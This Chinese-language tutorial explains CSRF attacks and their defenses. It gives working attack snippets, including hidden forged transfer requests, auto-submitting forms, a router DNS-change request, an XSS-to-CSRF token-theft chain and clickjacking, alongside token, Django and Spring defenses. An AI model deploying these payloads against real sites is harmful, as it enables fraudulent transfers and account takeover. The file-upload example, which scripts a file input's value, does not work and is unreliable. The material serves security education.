CSRF 攻击的危害

CSRF 攻击的基本原理

CSRF（Cross-Site Request Forgery）是一种利用用户已登录状态，在用户不知情的情况下执行非预期操作的攻击方式。攻击者诱导用户访问恶意页面，该页面携带伪造请求访问目标网站，由于浏览器会自动携带用户的认证信息（如Cookie），目标网站会误认为是用户发起的合法请求。

// 恶意网站上的代码示例
<img src="https://bank.com/transfer?to=attacker&amount=10000" width="0" height="0">

当已登录银行网站的用户访问这个恶意页面时，浏览器会自动向银行服务器发送转账请求。如果银行网站仅依赖Cookie进行身份验证，这个请求就会被成功执行。

主要危害表现

1. 账户权限滥用

攻击者可以利用受害者的权限执行任意操作，包括但不限于：

• 修改账户信息（密码、绑定邮箱/手机号）
• 进行资金转账（电商、银行、支付平台）
• 发表/删除内容（社交媒体、论坛）
• 购买商品/服务（电商平台）

// 更隐蔽的POST请求攻击示例
<form id="csrfForm" action="https://social.com/post/delete" method="POST">
  <input type="hidden" name="postId" value="12345">
</form>
<script>
  document.getElementById('csrfForm').submit();
</script>

2. 数据泄露风险

虽然CSRF通常用于执行操作，但在特定场景下可能导致数据泄露：

• 通过诱导用户触发GET请求，将敏感数据发送到攻击者服务器
• 结合XSS漏洞实现更复杂的数据窃取

3. 业务逻辑破坏

攻击者可以批量触发业务操作：

• 电商平台的批量下单
• 投票系统的刷票行为
• API接口的滥用调用

实际案例分析

案例1：社交平台关注劫持

某社交平台曾存在CSRF漏洞，攻击代码只需构造：

<img src="https://social.com/follow?userId=attacker" style="display:none">

当用户访问含此代码的页面时，会自动关注攻击者账号。攻击者利用此漏洞在短时间内获得了数万虚假粉丝。

案例2：路由器DNS劫持

家用路由器管理界面通常缺乏CSRF防护，攻击者可构造请求修改DNS设置：

fetch('http://192.168.1.1/setdns', {
  method: 'POST',
  body: 'dns1=malicious.dns&dns2=8.8.8.8',
  credentials: 'include'
})

成功攻击后，所有经过该路由器的流量都会被劫持到恶意DNS服务器。

与其他安全威胁的复合风险

1. CSRF + XSS组合攻击

当网站同时存在XSS漏洞时，CSRF的危害会呈指数级增长：

// 通过XSS获取的CSRF Token再发起CSRF攻击
fetch('/user/profile')
  .then(r => r.text())
  .then(html => {
    const token = html.match(/csrfToken="(.*?)"/)[1];
    fetch('/account/transfer', {
      method: 'POST',
      body: `to=attacker&amount=1000&token=${token}`,
      credentials: 'include'
    });
  });

2. CSRF + Clickjacking

通过iframe透明层覆盖诱导用户点击，结合CSRF实现更真实的"用户操作"：

<style>
  iframe {
    position: absolute;
    top: 0;
    left: 0;
    opacity: 0.01;
    z-index: 100;
  }
</style>
<iframe src="https://bank.com/transfer?to=attacker&amount=10000"></iframe>

防御措施与绕过方式

1. 传统防御方法的局限性

• Referer检查：可能被HTTPS->HTTP降级或浏览器隐私设置绕过
• 验证码：影响用户体验，且可通过iframe局部刷新绕过
• Cookie SameSite属性：对老旧浏览器兼容性差

2. 有效防御方案

CSRF Token实现示例：

// 服务端生成并存储Token
const csrfToken = crypto.randomBytes(32).toString('hex');
session.set('csrfToken', csrfToken);

// 前端表单嵌入Token
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="<%= csrfToken %>">
  <!-- 其他表单字段 -->
</form>

// 服务端验证
app.post('/transfer', (req, res) => {
  if(req.body._csrf !== session.get('csrfToken')) {
    return res.status(403).send('Invalid CSRF Token');
  }
  // 处理正常逻辑
});

3. 双重Cookie验证

现代SPA应用的常用方案：

// 服务端设置Cookie
res.cookie('XSRF-TOKEN', token, {
  httpOnly: false // 允许JS读取
});

// 前端拦截器自动携带
axios.interceptors.request.use(config => {
  config.headers['X-XSRF-TOKEN'] = getCookie('XSRF-TOKEN');
  return config;
});

特殊场景下的CSRF风险

1. JSON API的CSRF攻击

传统认为仅接收JSON的API不受CSRF影响，但通过构造请求仍可能被攻击：

<script>
  fetch('https://api.example.com/update', {
    method: 'POST',
    credentials: 'include',
    headers: {
      'Content-Type': 'text/plain' // 绕过CORS预检
    },
    body: '{"malicious":"payload"}'
  });
</script>

防御方案要求同时验证Content-Type为application/json。

2. 文件上传CSRF

通过伪造文件上传表单可能上传恶意文件：

<form action="https://target.com/upload" method="post" enctype="multipart/form-data">
  <input type="file" name="file" id="file">
</form>
<script>
  // 自动触发文件选择
  document.getElementById('file').value = "malware.exe";
  document.forms[0].submit();
</script>

框架内置防护机制

1. Django的CSRF中间件

自动为所有POST表单添加Token验证：

# settings.py
MIDDLEWARE = [
    'django.middleware.csrf.CsrfViewMiddleware',
    # ...
]

# 模板中自动生成Token
<form method="post">{% csrf_token %}

2. Spring Security配置

Java生态的CSRF防护：

@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .csrf()
                .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
    }
}

移动端特有的CSRF风险

1. 深度链接劫持

恶意App通过自定义URL Scheme触发敏感操作：

<!-- Android Intent Filter -->
<intent-filter>
  <action android:name="android.intent.action.VIEW"/>
  <category android:name="android.intent.category.DEFAULT"/>
  <data android:scheme="bankapp" android:host="transfer"/>
</intent-filter>

攻击者可能构造bankapp://transfer?to=attacker链接。

2. WebView中的CSRF

Android WebView默认携带父应用的Cookie：

WebView webView = new WebView(this);
webView.loadUrl("https://malicious.site/csrf-attack");

需显式设置Cookie管理策略进行防护。